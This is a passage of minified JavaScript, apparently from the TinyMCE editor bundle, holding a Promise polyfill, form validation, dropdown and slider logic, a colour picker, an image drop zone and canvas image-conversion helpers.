this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],f(t,this)}function u(n,o){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,i._immediateFn(function(){var t,e=1===n._state?o.onFulfilled:o.onRejected;if(null!==e){try{t=e(n._value)}catch(t){return void c(o.promise,t)}a(o.promise,t)}else(1===n._state?a:c)(o.promise,n._value)})):n._deferreds.push(o)}function a(e,t){try{if(t===e)throw new TypeError("A promise cannot be resolved with itself.");if(t&&("object"==typeof t||"function"==typeof t)){var n=t.then;if(t instanceof i)return e._state=3,e._value=t,void s(e);if("function"==typeof n)return void f((o=n,r=t,function(){o.apply(r,arguments)}),e)}e._state=1,e._value=t,s(e)}catch(t){c(e,t)}var o,r}function c(t,e){t._state=2,t._value=e,s(t)}function s(t){2===t._state&&0===t._deferreds.length&&i._immediateFn(function(){t._handled||i._unhandledRejectionFn(t._value)});for(var e=0,n=t._deferreds.length;e<n;e++)u(t,t._deferreds[e]);t._deferreds=null}function l(t,e,n){this.onFulfilled="function"==typeof t?t:null,this.onRejected="function"==typeof e?e:null,this.promise=n}function f(t,e){var n=!1;try{t(function(t){n||(n=!0,a(e,t))},function(t){n||(n=!0,c(e,t))})}catch(t){if(n)return;n=!0,c(e,t)}}t=o,e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},n=setTimeout,i.prototype.catch=function(t){return this.then(null,t)},i.prototype.then=function(t,e){var n=new this.constructor(r);return u(this,new l(t,e,n)),n},i.all=function(t){var a=Array.prototype.slice.call(t);return new i(function(r,i){if(0===a.length)return r([]);for(var u=a.length,t=0;t<a.length;t++)!function e(n,t){try{if(t&&("object"==typeof t||"function"==typeof t)){var o=t.then;if("function"==typeof o)return o.call(t,function(t){e(n,t)},i),0}a[n]=t,0==--u&&r(a)}catch(t){i(t)}}(t,a[t])})},i.resolve=function(e){return e&&"object"==typeof e&&e.constructor===i?e:new i(function(t){t(e)})},i.reject=function(n){return new i(function(t,e){e(n)})},i.race=function(r){return new i(function(t,e){for(var n=0,o=r.length;n<o;n++)r[n].then(t,e)})},i._immediateFn="function"==typeof setImmediate?function(t){setImmediate(t)}:function(t){n(t,0)},i._unhandledRejectionFn=function(t){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",t)},i._setImmediateFn=function(t){i._immediateFn=t},i._setUnhandledRejectionFn=function(t){i._unhandledRejectionFn=t},t.exports?t.exports=i:e.Promise||(e.Promise=i);var d=o.exports;return{boltExport:("undefined"!=typeof window?window:Function("return this;")()).Promise||d}};"object"==typeof Dx&&void 0!==Ax?Ax.exports=e():(t="undefined"!=typeof globalThis?globalThis:t||self).EphoxContactWrapper=e()}();var Px,Vx,Hx=Ax.exports.boltExport,Lx=function(t){function o(t){r()?i(t):e.push(t)}var n=vt.none(),e=[],r=function(){return n.isSome()},i=function(e){n.each(function(t){setTimeout(function(){e(t)},0)})};return t(function(t){r()||(n=vt.some(t),St(e,i),e=[])}),{get:o,map:function(n){return Lx(function(e){o(function(t){e(n(t))})})},isReady:r}},zx={nu:Lx,pure:function(e){return Lx(function(t){t(e)})}},Ux=function(n){function t(t){n().then(t,Bx)}return{map:function(t){return Ux(function(){return n().then(t)})},bind:function(e){return Ux(function(){return n().then(function(t){return e(t).toPromise()})})},anonBind:function(t){return Ux(function(){return n().then(function(){return t.toPromise()})})},toLazy:function(){return zx.nu(t)},toCached:function(){var t=null;return Ux(function(){return t=null===t?n():t})},toPromise:n,get:t}},jx=function(t){return Ux(function(){return new Hx(t)})},Wx=function(t){return Ux(function(){return Hx.resolve(t)})},Gx=["input","textarea"],Xx=Object.freeze({__proto__:null,markValid:Fx,markInvalid:Ix,query:Rx,run:Nx,isInvalid:function(t,e){return Kr(e.getRoot(t).getOr(t.element),e.invalidClass)}}),Yx=Object.freeze({__proto__:null,events:function(e,t){return e.validator.map(function(t){return nu([Cr(t.onEvent,function(t){Nx(t,e).get(h)})].concat(t.validateOnLoad?[ou(function(t){Nx(t,e).get(st)})]:[]))}).getOr({})}}),qx=xa({fields:[mo("invalidClass"),Eo("getRoot",vt.none),To("notify",[Eo("aria","alert"),Eo("getContainer",vt.none),Eo("validHtml",""),Ju("onValid"),Ju("onInvalid"),Ju("onValidate")]),To("validator",[mo("validate"),Eo("onEvent","input"),Eo("validateOnLoad",!0)])],name:"invalidating",active:Yx,apis:Xx,extra:{validation:function(n){return function(t){var e=Df.getValue(t);return Wx(n(e))}}}}),Kx=Object.freeze({__proto__:null,getCoupled:function(t,e,n,o){return n.getOrCreate(t,e,o)}}),Jx=xa({fields:[go("others",uo(Nn.value,Zo()))],name:"coupling",apis:Kx,state:Object.freeze({__proto__:null,init:function(){var i={},t=rt({});return wu({readState:t,getOrCreate:function(n,o,r){var t=Ct(o.others);if(t)return tt(i,r).getOrThunk(function(){var t=tt(o.others,r).getOrDie("No information found for coupled component: "+r)(n),e=n.getSystem().build(t);return i[r]=e});throw new Error("Cannot find coupled component: "+r+". Known coupled components: "+JSON.stringify(t,null,2))}})}})}),$x=rt("sink"),Qx=rt(Qf({name:$x(),overrides:rt({dom:{tag:"div"},behaviours:ec([ff.config({useFixed:D})]),events:nu([Dr(xi()),Dr(mi()),Dr(Ci())])})}));function Zx(t,e){var n=t.getHotspot(e).getOr(e),o=t.getAnchorOverrides();return t.layouts.fold(function(){return{type:"hotspot",hotspot:n,overrides:o}},function(t){return{type:"hotspot",hotspot:n,overrides:o,layouts:t}})}function t0(t,e,n,o,r,i,u){var a,c=Zx(t,n),s=n,l=o,f=r,d=u,m=e,g=(0,(a=t).fetch)(s).map(m),p=dS(s,a);return g.map(function(t){return t.bind(function(t){return vt.from(Zg.sketch(lt(lt({},f.menu()),{uid:pu(""),data:t,highlightImmediately:d===Px.HighlightFirst,onOpenMenu:function(t,e){var n=p().getOrDie();ff.position(n,e,{anchor:c}),bf.decloak(l)},onOpenSubmenu:function(t,e,n){var o=p().getOrDie();ff.position(o,n,{anchor:{type:"submenu",item:e}}),bf.decloak(l)},onRepositionMenu:function(t,e,n){var o=p().getOrDie();ff.position(o,e,{anchor:c}),St(n,function(t){ff.position(o,t.triggeredMenu,{anchor:{type:"submenu",item:t.triggeringItem}})})},onEscape:function(){return Mg.focus(s),bf.close(l),vt.some(!0)}})))})}).map(function(t){return t.fold(function(){bf.isOpen(o)&&bf.close(o)},function(t){bf.cloak(o),bf.open(o,t),i(o)}),o})}function e0(t,e,n,o,r,i){var u=Jx.getCoupled(n,"sandbox");return(bf.isOpen(u)?function(t,e,n,o,r,i,u){return bf.close(o),Wx(o)}:t0)(t,e,n,u,o,r,i)}function n0(t){bf.getState(t).each(function(t){Zg.repositionMenus(t)})}function o0(s,l,f){var d=Nu(),t=dS(l,s);return{dom:{tag:"div",classes:s.sandboxClasses,attributes:{id:d.id,role:"listbox"}},behaviours:Bf(s.sandboxBehaviours,[Df.config({store:{mode:"memory",initialValue:l}}),bf.config({onOpen:function(t,e){var n,o,r,i,u,a,c=Zx(s,l);d.link(l.element),s.matchWidth&&(n=c.hotspot,o=e,r=s.useMinWidth,u=cd.getCurrent(o).getOr(o),a=Ce(n.element),r?fe(u.element,"min-width",a+"px"):(i=u.element,On.set(i,a))),s.onOpen(c,t,e),void 0!==f&&void 0!==f.onOpen&&f.onOpen(t,e)},onClose:function(t,e){d.unlink(l.element),void 0!==f&&void 0!==f.onClose&&f.onClose(t,e)},isPartOf:function(t,e,n){return Hu(e,n)||Hu(l,n)},getAttachPoint:function(){return t().getOrDie()}}),cd.config({find:function(t){return bf.getState(t).bind(function(t){return cd.getCurrent(t)})}}),ic.config({channels:lt(lt({},Xs({isExtraPart:T})),Ys({doReposition:n0}))})])}}function r0(t){n0(Jx.getCoupled(t,"sandbox"))}function i0(){return[Eo("sandboxClasses",[]),Af("sandboxBehaviours",[cd,ic,bf,Df])]}function u0(e){return Qf({name:e+"-edge",overrides:function(t){return t.model.manager.edgeActions[e].fold(function(){return{}},function(o){return{events:nu([Or(si(),function(t,e,n){return o(t,n)},[t]),Or(mi(),function(t,e,n){return o(t,n)},[t]),Or(gi(),function(t,e,n){n.mouseIsDown.get()&&o(t,n)},[t])])}})}})}function a0(t){var e=t.event.raw;return-1===e.type.indexOf("touch")?void 0!==e.clientX?vt.some(e).map(function(t){return kn(t.clientX,t.clientY)}):vt.none():void 0!==e.touches&&1===e.touches.length?vt.some(e.touches[0]).map(function(t){return kn(t.clientX,t.clientY)}):vt.none()}function c0(t){return t.model.minX}function s0(t){return t.model.minY}function l0(t){return t.model.minX-1}function f0(t){return t.model.minY-1}function d0(t){return t.model.maxX}function m0(t){return t.model.maxY}function g0(t){return t.model.maxX+1}function p0(t){return t.model.maxY+1}function h0(t,e,n){return e(t)-n(t)}function v0(t){return h0(t,d0,c0)}function b0(t){return h0(t,m0,s0)}function y0(t){return v0(t)/2}function x0(t){return b0(t)/2}function w0(t){return t.stepSize}function S0(t){return t.snapToGrid}function k0(t){return t.snapStart}function C0(t){return t.rounded}function O0(t,e){return void 0!==t[e+"-edge"]}function _0(t){return O0(t,"left")}function T0(t){return O0(t,"right")}function E0(t){return O0(t,"top")}function D0(t){return O0(t,"bottom")}function A0(t){return t.model.value.get()}function B0(t,e){return{x:t,y:e}}function M0(t,e){br(t,DS(),{value:e})}function F0(t,e,n,o){return t<e?t:n<t?n:t===e?e-1:Math.max(e,t-o)}function I0(t,e,n,o){return n<t?t:t<e?e:t===n?n+1:Math.min(n,t+o)}function R0(t,e,n){return Math.max(e,Math.min(n,t))}function N0(t){var e=t.min,n=t.max,o=t.range,r=t.value,i=t.step,u=t.snap,a=t.snapStart,c=t.rounded,s=t.hasMinEdge,l=t.hasMaxEdge,f=t.minBound,d=t.maxBound,m=t.screenRange,g=s?e-1:e,p=l?n+1:n;if(r<f)return g;if(d<r)return p;var h,v,b,y,x,w=R0((x=f,Math.min(d,Math.max(r,x))-x)/m*o+e,g,p);return u&&e<=w&&w<=n?(h=w,v=e,b=n,y=i,a.fold(function(){var t=Math.round((h-v)/y)*y;return R0(v+t,v-1,b+1)},function(t){var e=Math.round((h-t)%y/y),n=Math.floor((h-t)/y),o=Math.floor((b-t)/y),r=Math.min(o,n+e);return Math.max(t,t+r*y)})):c?Math.round(w):w}function P0(t){var e=t.min,n=t.max,o=t.range,r=t.value,i=t.hasMinEdge,u=t.hasMaxEdge,a=t.maxBound,c=t.maxOffset,s=t.centerMinEdge,l=t.centerMaxEdge;return r<e?i?0:s:n<r?u?a:l:(r-e)/o*c}function V0(t){return t.element.dom.getBoundingClientRect()}function H0(t){return V0(t)[AS]}function L0(t){return V0(t).right}function z0(t){return V0(t).top}function U0(t){return V0(t).bottom}function j0(t){return V0(t).width}function W0(t){return V0(t).height}function G0(t,e){var n=V0(t),o=V0(e);return(n[AS]+n.right)/2-o[AS]}function X0(t,e){var n=V0(t),o=V0(e);return(n.top+n.bottom)/2-o.top}function Y0(t,e){br(t,DS(),{value:e})}function q0(t,e,n){return N0({min:c0(e),max:d0(e),range:v0(e),value:n,step:w0(e),snap:S0(e),snapStart:k0(e),rounded:C0(e),hasMinEdge:_0(e),hasMaxEdge:T0(e),minBound:H0(t),maxBound:L0(t),screenRange:j0(t)})}function K0(r){return function(t,e){return Y0(t,{x:o=(0<r?I0:F0)(A0(n=e).x,c0(n),d0(n),w0(n))}),vt.some(o).map(D);var n,o}}function J0(t,e,n,o,r,i){var u,a,c,s,l,f,d,m,g=(a=i,c=n,s=o,l=r,f=j0(u=e),d=s.bind(function(t){return vt.some(G0(t,u))}).getOr(0),m=l.bind(function(t){return vt.some(G0(t,u))}).getOr(f),P0({min:c0(a),max:d0(a),range:v0(a),value:c,hasMinEdge:_0(a),hasMaxEdge:T0(a),minBound:H0(u),minOffset:0,maxBound:L0(u),maxOffset:f,centerMinEdge:d,centerMaxEdge:m}));return H0(e)-H0(t)+g}function $0(t,e){br(t,DS(),{value:e})}function Q0(t,e,n){return N0({min:s0(e),max:m0(e),range:b0(e),value:n,step:w0(e),snap:S0(e),snapStart:k0(e),rounded:C0(e),hasMinEdge:E0(e),hasMaxEdge:D0(e),minBound:z0(t),maxBound:U0(t),screenRange:W0(t)})}function Z0(r){return function(t,e){return $0(t,{y:o=(0<r?I0:F0)(A0(n=e).y,s0(n),m0(n),w0(n))}),vt.some(o).map(D);var n,o}}function tw(t,e,n,o,r,i){var u,a,c,s,l,f,d,m,g=(a=i,c=n,s=o,l=r,f=W0(u=e),d=s.bind(function(t){return vt.some(X0(t,u))}).getOr(0),m=l.bind(function(t){return vt.some(X0(t,u))}).getOr(f),P0({min:s0(a),max:m0(a),range:b0(a),value:c,hasMinEdge:E0(a),hasMaxEdge:D0(a),minBound:z0(u),minOffset:0,maxBound:U0(u),maxOffset:f,centerMinEdge:d,centerMaxEdge:m}));return z0(e)-z0(t)+g}function ew(t,e){br(t,DS(),{value:e})}function nw(t,e){return{x:t,y:e}}function ow(u,a){return function(t,e){return o=e,r=0<u?I0:F0,ew(t,nw(i=(n=a)?A0(o).x:r(A0(o).x,c0(o),d0(o),w0(o)),n?r(A0(o).y,s0(o),m0(o),w0(o)):A0(o).y)),vt.some(i).map(D);var n,o,r,i}}function rw(t){return"<alloy.field."+t+">"}function iw(f,d,m,g){function p(t,e,n,o,r){var i,u,a=f(ik+"range"),c=[dx.parts.label({dom:{tag:"label",innerHtml:n,attributes:{"aria-label":o}}}),dx.parts.field({data:r,factory:Ex,inputAttributes:lt({type:"text"},"hex"===e?{"aria-live":"polite"}:{}),inputClasses:[d("textfield")],inputBehaviours:ec([(i=e,u=t,qx.config({invalidClass:d("invalid"),notify:{onValidate:function(t){br(t,rk,{type:i})},onValid:function(t){br(t,nk,{type:i,value:Df.getValue(t)})},onInvalid:function(t){br(t,ok,{type:i,value:Df.getValue(t)})}},validator:{validate:function(t){var e=Df.getValue(t),n=u(e)?Nn.value(!0):Nn.error(f("aria.input.invalid"));return Wx(n)},validateOnLoad:!1}})),gx.config({})]),onSetValue:function(t){qx.isInvalid(t)&&qx.run(t).get(st)}})],s="hex"!==e?[dx.parts["aria-descriptor"]({text:a})]:[];return{dom:{tag:"div",attributes:{role:"presentation"}},components:c.concat(s)}}function h(t,e){var n=e.red,o=e.green,r=e.blue;Df.setValue(t,{red:n,green:o,blue:r})}function v(t,e){b.getOpt(t).each(function(t){fe(t.element,"background-color","#"+e.value)})}var b=Lm({dom:{tag:"div",classes:[d("rgba-preview")],styles:{"background-color":"white"},attributes:{role:"presentation"}}});return kl({factory:function(){function a(t){return o[t].get()}function c(t,e){o[t].set(e)}function e(t,e){var n=e.event;"hex"!==n.type?c(n.type,vt.none()):g(t)}function n(t,e){var r,n,o,i,u=e.event;"hex"===u.type?function(t,e){m(t);var n=Ab(e);c("hex",vt.some(e));var o=Pb(n);h(t,o),s(o),br(t,$S,{hex:n}),v(t,n)}(t,u.value):(r=t,n=u.type,o=u.value,i=parseInt(o,10),c(n,vt.some(i)),a("red").bind(function(n){return a("green").bind(function(e){return a("blue").map(function(t){return Ib(n,e,t,1)})})}).each(function(t){var e,n,o=(e=r,n=Fb(t),ek.getField(e,"hex").each(function(t){Mg.isFocused(t)||Df.setValue(e,{hex:n.value})}),n);br(r,$S,{hex:o}),v(r,o)}))}function t(t){return{label:f(ik+t+".label"),description:f(ik+t+".description")}}function s(t){var e=t.red,n=t.green,o=t.blue;c("red",vt.some(e)),c("green",vt.some(n)),c("blue",vt.some(o))}var o={red:Po(vt.some(255)),green:Po(vt.some(255)),blue:Po(vt.some(255)),hex:Po(vt.some("ffffff"))},r=t("red"),i=t("green"),u=t("blue"),l=t("hex");return Yo(ek.sketch(function(t){return{dom:{tag:"form",classes:[d("rgb-form")],attributes:{"aria-label":f("aria.color.picker")}},components:[t.field("red",dx.sketch(p(Rb,"red",r.label,r.description,255))),t.field("green",dx.sketch(p(Rb,"green",i.label,i.description,255))),t.field("blue",dx.sketch(p(Rb,"blue",u.label,u.description,255))),t.field("hex",dx.sketch(p(Bb,"hex",l.label,l.description,"ffffff"))),b.asSpec()],formBehaviours:ec([qx.config({invalidClass:d("form-invalid")}),mm("rgb-form-events",[Cr(nk,n),Cr(ok,e),Cr(rk,e)])])}}),{apis:{updateHex:function(t,e){var n;Df.setValue(t,{hex:e.value}),h(t,n=Pb(e)),s(n),v(t,e)}}})},name:"RgbForm",configFields:[],apis:{updateHex:function(t,e,n){t.updateHex(e,n)}},extraApis:{}})}function uw(x,w){return kl({name:"ColourPicker",configFields:[mo("dom"),Eo("onValidHex",st),Eo("onInvalidHex",st)],factory:function(t){function e(t,e,n){v.getOpt(t).each(function(t){g.setHue(t,n)})}function n(t,e){b.getOpt(t).each(function(t){m.updateHex(t,e)})}function r(e,n,o,t){var r=o,i=Pb(n);p.paletteRgba.set(i),p.paletteHue.set(r),St(t,function(t){t(e,n,o)})}var o,i,u,a,c,s,l,f,d,m=iw(x,w,t.onValidHex,t.onInvalidHex),g=(l=w,f=JS.parts.spectrum({dom:{tag:"canvas",attributes:{role:"presentation"},classes:[l("sv-palette-spectrum")]}}),d=JS.parts.thumb({dom:{tag:"div",attributes:{role:"presentation"},classes:[l("sv-palette-thumb")],innerHtml:"<div class="+l("sv-palette-inner-thumb")+' role="presentation"></div>'}}),kl({factory:function(t){var e=rt({x:0,y:0}),n=ec([cd.config({find:vt.some}),Mg.config({})]);return JS.sketch({dom:{tag:"div",attributes:{role:"presentation"},classes:[l("sv-palette")]},model:{mode:"xy",getInitialValue:e},rounded:!1,components:[f,d],onChange:function(t,e,n){br(t,ZS,{value:n})},onInit:function(t,e,n,o){y(n.element.dom,Lb(ly))},sliderBehaviours:n})},name:"SaturationBrightnessPalette",configFields:[],apis:{setHue:function(t,e,n){var o=n;y(e.components()[0].element.dom,Lb(Nb(Ub(o,100,100))))},setThumb:function(t,e,n){var o=e,r=jb(Pb(n));JS.setValue(o,{x:r.saturation,y:100-r.value})}},extraApis:{}})),p={paletteRgba:Po(ly),paletteHue:Po(0)},h=Lm((i=JS.parts.spectrum({dom:{tag:"div",classes:[(o=w)("hue-slider-spectrum")],attributes:{role:"presentation"}}}),u=JS.parts.thumb({dom:{tag:"div",classes:[o("hue-slider-thumb")],attributes:{role:"presentation"}}}),JS.sketch({dom:{tag:"div",classes:[o("hue-slider")],attributes:{role:"presentation"}},rounded:!1,model:{mode:"y",getInitialValue:rt({y:0})},components:[i,u],sliderBehaviours:ec([Mg.config({})]),onChange:function(t,e,n){br(t,QS,{value:n})}}))),v=Lm(g.sketch({})),b=Lm(m.sketch({}));function y(t,e){var n,o,r=t.width,i=t.height,u=t.getContext("2d");null!==u&&(u.fillStyle=e,u.fillRect(0,0,r,i),(n=u.createLinearGradient(0,0,r,0)).addColorStop(0,"rgba(255,255,255,1)"),n.addColorStop(1,"rgba(255,255,255,0)"),u.fillStyle=n,u.fillRect(0,0,r,i),(o=u.createLinearGradient(0,0,0,i)).addColorStop(0,"rgba(0,0,0,0)"),o.addColorStop(1,"rgba(0,0,0,1)"),u.fillStyle=o,u.fillRect(0,0,r,i))}return{uid:t.uid,dom:t.dom,components:[v.asSpec(),h.asSpec(),b.asSpec()],behaviours:ec([mm("colour-picker-events",[Cr($S,(s=[e,function(t,e,n){h.getOpt(t).each(function(t){JS.setValue(t,{y:100-n/360*100})})},function(t,e){v.getOpt(t).each(function(t){g.setThumb(t,e)})}],function(t,e){var n=e.event.hex;r(t,n,jb(Pb(n)).hue,s)})),Cr(ZS,(c=[n],function(t,e){var n=e.event.value,o=p.paletteHue.get();r(t,Wb(Ub(o,n.x,100-n.y)),o,c)})),Cr(QS,(a=[e,n],function(t,e){var n=(100-e.event.value.y)/100*360,o=jb(p.paletteRgba.get());r(t,Wb(Ub(n,o.saturation,o.value)),n,a)}))]),cd.config({find:function(t){return b.getOpt(t)}}),Tg.config({mode:"acyclic"})])}}})}function aw(t){return ck[t]}function cw(t,e,n){return Df.config(Yo({store:{mode:"manual",getValue:e,setValue:n}},t.map(function(t){return{store:{initialValue:t}}}).getOr({})))}function sw(r,i){function e(t,e){e.stop()}function n(t){return function(e,n){St(t,function(t){t(e,n)})}}function o(t,e){var n;gd.isDisabled(t)||(n=e.event.raw,a(t,n.dataTransfer.files))}function u(t,e){var n=e.event.raw.target;a(t,n.files)}function a(t,e){var n,o;Df.setValue(t,(n=e,o=lk.explode(i.getSetting("images_file_types","jpeg,jpg,jpe,jfi,jif,jfif,png,gif,bmp,webp","string")),F(kt(n),function(e){return d(o,function(t){return At(e.name.toLowerCase(),"."+t.toLowerCase())})}))),br(t,bx,{name:r.name})}var c=Lm({dom:{tag:"input",attributes:{type:"file",accept:"image/*"},styles:{display:"none"}},behaviours:ec([mm("input-file-events",[Dr(Ci()),Dr(Ni())])])});return ex(r.label.map(function(t){return nx(t,i)}),dx.parts.field({factory:{sketch:function(t){return{uid:t.uid,dom:{tag:"div",classes:["tox-dropzone-container"]},behaviours:ec([gk([]),uS(),gd.config({}),Rg.config({toggleClass:"dragenter",toggleOnExecute:!1}),mm("dropzone-events",[Cr("dragenter",n([e,Rg.toggle])),Cr("dragleave",n([e,Rg.toggle])),Cr("dragover",e),Cr("drop",n([e,o])),Cr(ki(),u)])]),components:[{dom:{tag:"div",classes:["tox-dropzone"],styles:{}},components:[{dom:{tag:"p",innerHtml:i.translate("Drop an image here")}},ip.sketch({dom:{tag:"button",innerHtml:i.translate("Browse for an image"),styles:{position:"relative"},classes:["tox-button","tox-button--secondary"]},components:[c.asSpec()],action:function(t){c.get(t).element.dom.click()},buttonBehaviours:ec([gx.config({}),Jb(i.isDisabled),gb()])})]}]}}}}),["tox-form__group--stretched"],[])}function lw(t){return{dom:{tag:"div",styles:{width:"1px",height:"1px",outline:"none"},attributes:{tabindex:"0"},classes:t},behaviours:ec([Mg.config({ignore:!0}),gx.config({})])}}function fw(t){return{dom:{tag:"div",classes:["tox-navobj"]},components:[lw([pk]),t,lw([hk])],behaviours:ec([ak(1)])}}function dw(t,e){br(t,xi(),{raw:{which:9,shiftKey:e}})}function mw(t,e){var n=e.element;Kr(n,pk)?dw(t,!0):Kr(n,hk)&&dw(t,!1)}function gw(t){return Xy(t,["."+pk,"."+hk].join(","),T)}function pw(t,e){return yk(document.createElement("canvas"),t,e)}function hw(t){var e=pw(t.width,t.height);return bk(e).drawImage(t,0,0),e}function vw(t){return t.naturalWidth||t.width}function bw(t){return t.naturalHeight||t.height}function yw(t,o,r){return o=o||"image/png",S(HTMLCanvasElement.prototype.toBlob)?new Hx(function(e,n){t.toBlob(function(t){t?e(t):n()},o,r)}):(g=t.toDataURL(o,r),new Hx(function(t,e){!function(){var t=g.split(","),e=/data:([^;]+)/.exec(t[0]);if(!e)return vt.none();for(var n=e[1],o=t[1],r=atob(o),i=r.length,u=Math.ceil(i/1024),a=new Array(u),c=0;c<u;++c){for(var s=1024*c,l=Math.min(1024+s,i),f=new Array(l-s),d=s,m=0;d<l;++m,++d)f[m]=r[d].charCodeAt(0);a[c]=new Uint8Array(f)}return vt.some(new Blob(a,{type:n}))}().fold(function(){e("uri is not base64: "+g)},t)}));var g}function xw(t,e,n){function o(e,n){return t.then(function(t){return t.toDataURL(e||"image/png",n)})}return{getType:rt(e.type),toBlob:function(){return Hx.resolve(e)},toDataURL:rt(n),toBase64:function(){return n.split(",")[1]},toAdjustedBlob:function(e,n){return t.then(function(t){return yw(t,e,n)})},toAdjustedDataURL:o,toAdjustedBase64:function(t,e){return o(t,e).then(function(t){return t.split(",")[1]})},toCanvas:function(){return t.then(hw)}}}function ww(e,t){return yw(e,t).then(function(t){return xw(Hx.resolve(e),t,e.toDataURL())})}function Sw(e){return n=e,new Hx(function(t){var e=new FileReader;e.onloadend=function(){t(e.result)},e.readAsDataURL(n)}).then(function(t){return xw((a=e,new Hx(function(t,e){function n(){r.removeEventListener("load",i),r.removeEventListener("error",u)}var o=URL.createObjectURL(a),r=new Image,i=function(){n(),t(r)},u=function(){n(),e("Unable to load data of type "+a.type+": "+o)};r.addEventListener("load",i),r.addEventListener("error",u),r.src=o,r.complete&&setTimeout(i,0)}).then(function(t){xk(t);var e=pw(vw(t),bw(t));return bk(e).drawImage(t,0,0),e})),e,t);var a});var n}function kw(t,e,n){var o="string"==typeof t?parseFloat(t):t;return n<o?o=n:o<e&&(o=e),o}function Cw(){return[1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1]}function Ow(t,e){for(var n=[],o=new Array(25),r=0;r<5;r++){for(var i=0;i<5;i++)n[i]=e[i+5*r];for(i=0;i<5;i++){for(var u=0,a=0;a<5;a++)u+=t[i+5*a]*n[a];o[i+5*r]=u}}return o}function _w(e,n){return e.toCanvas().then(function(t){return Sk(t,e.getType(),n)})}function Tw(n){return function(t,e){return _w(t,n(Cw(),e))}}function Ew(t,e){void 0===e&&(e=2);var n=Math.pow(10,e),o=Math.round(t*n);return Math.ceil(o/n)}function Dw(t){return kk(t)}function Aw(t){return _k(t)}function Bw(t,e){return Tk(t,e)}function Mw(t,e){return Ck(t,e)}function Fw(t,e){return Ok(t,e)}function Iw(t,e){return o=e,(n=t).toCanvas().then(function(t){return Bk(t,n.getType(),o)});var n,o}function Rw(t,e){return o=e,(n=t).toCanvas().then(function(t){return Ak(t,n.getType(),o)});var n,o}function Nw(t,e,n){return sh(t,{tag:"span",classes:["tox-icon","tox-tbtn__icon-wrap"],behaviours:n},e)}function Pw(t,e){return Nw(t,e,[])}function Vw(t,e){return Nw(t,e,[Dg.config({})])}function Hw(t,e,n){return{dom:{tag:"span",innerHtml:n.translate(t),classes:[e+"__select-label"]},behaviours:ec([Dg.config({})])}}function Lw(e,n,o){function t(t,e){var n=Df.getValue(t);return Mg.focus(n),br(n,"keydown",{raw:e.event.raw}),pS.close(n),vt.some(!0)}var r=Po(st),i=e.text.map(function(t){return Lm(Hw(t,n,o.providers))}),u=e.icon.map(function(t){return Lm(Vw(t,o.providers.icons))}),a=e.role.fold(function(){return{}},function(t){return{role:t}}),c=e.tooltip.fold(function(){return{}},function(t){var e=o.providers.translate(t);return{title:e,"aria-label":e}}),s=sh("chevron-down",{tag:"div",classes:[n+"__select-chevron"]},o.providers.icons);return Lm(pS.sketch(lt(lt(lt({},e.uid?{uid:e.uid}:{}),a),{dom:{tag:"button",classes:[n,n+"--select"].concat(B(e.classes,function(t){return n+"--"+t})),attributes:lt({},c)},components:Zb([u.map(function(t){return t.asSpec()}),i.map(function(t){return t.asSpec()}),vt.some(s)]),matchWidth:!0,useMinWidth:!0,dropdownBehaviours:ec(V(V([],e.dropdownBehaviours,!0),[Jb(function(){return e.disabled||o.providers.isDisabled()}),gb(),hS.config({}),Dg.config({}),mm("dropdown-events",[hb(e,r),vb(e,r)]),mm("menubutton-update-display-text",[Cr(Rk,function(e,n){i.bind(function(t){return t.getOpt(e)}).each(function(t){Dg.set(t,[ri(o.providers.translate(n.event.text))])})}),Cr(Nk,function(e,n){u.bind(function(t){return t.getOpt(e)}).each(function(t){Dg.set(t,[Vw(n.event.icon,o.providers.icons)])})})])],!1)),eventOrder:Yo(Ik,{mousedown:["focusing","alloy.base.behaviour","item-type-events","normal-dropdown-events"]}),sandboxBehaviours:ec([Tg.config({mode:"special",onLeft:t,onRight:t})]),lazySink:o.getSink,toggleClass:n+"--active",parts:{menu:Qh(0,e.columns,e.presets)},fetch:function(t){return jx(C(e.fetch,t))}}))).asSpec()}function zw(t){return"separator"===t.type}function Uw(t,n,o,e){var r=Ir("primary-menu"),i=Vk(t,o.shared.providers.menuItems());if(0===i.items.length)return vt.none();var u=Wy(r,i.items,n,o,e),a=dt(i.menus,function(t,e){return Wy(e,t,n,o,!1)}),c=Yo(a,sr(r,u));return vt.from(Zg.tieredData(r,c,i.expansions))}function jw(n){return{isDisabled:function(){return gd.isDisabled(n)},setDisabled:function(t){return gd.set(n,t)},setActive:function(t){var e=n.element;t?(Yr(e,"tox-tbtn--enabled"),oe(e,"aria-pressed",!0)):(qr(e,"tox-tbtn--enabled"),ce(e,"aria-pressed"))},isActive:function(){return Kr(n.element,"tox-tbtn--enabled")}}}function Ww(n,t,o,e){return Lw({text:n.text,icon:n.icon,tooltip:n.tooltip,role:e,fetch:function(t,e){n.fetch(function(t){e(Uw(t,wv.CLOSE_ON_EXECUTE,o,!1))})},onSetup:n.onSetup,getApi:jw,columns:1,presets:"normal",classes:[],dropdownBehaviours:[gx.config({})]},t,o.shared)}function Gw(t,e,n,o,r,i){void 0===n&&(n=[]);var u=e.fold(function(){return{}},function(t){return{action:t}}),a=lt({buttonBehaviours:ec([Jb(function(){return t.disabled||i.isDisabled()}),gb(),gx.config({}),mm("button press",[kr("click"),kr("mousedown")])].concat(n)),eventOrder:{click:["button press","alloy.base.behaviour"],mousedown:["button press","alloy.base.behaviour"]}},u),c=Yo(a,{dom:o});return Yo(c,{components:r})}function Xw(t,e,n,o){void 0===o&&(o=[]);var r={tag:"button",classes:["tox-tbtn"],attributes:t.tooltip.map(function(t){return{"aria-label":n.translate(t),title:n.translate(t)}}).getOr({})},i=t.icon.map(function(t){return Pw(t,n.icons)});return Gw(t,e,o,r,Zb([i]),n)}function Yw(t,e,n,o){void 0===o&&(o=[]);var r=Xw(t,vt.some(e),n,o);return ip.sketch(r)}function qw(t,e,n,o,r){void 0===o&&(o=[]),void 0===r&&(r=[]);var i=n.translate(t.text),u=t.icon?t.icon.map(function(t){return 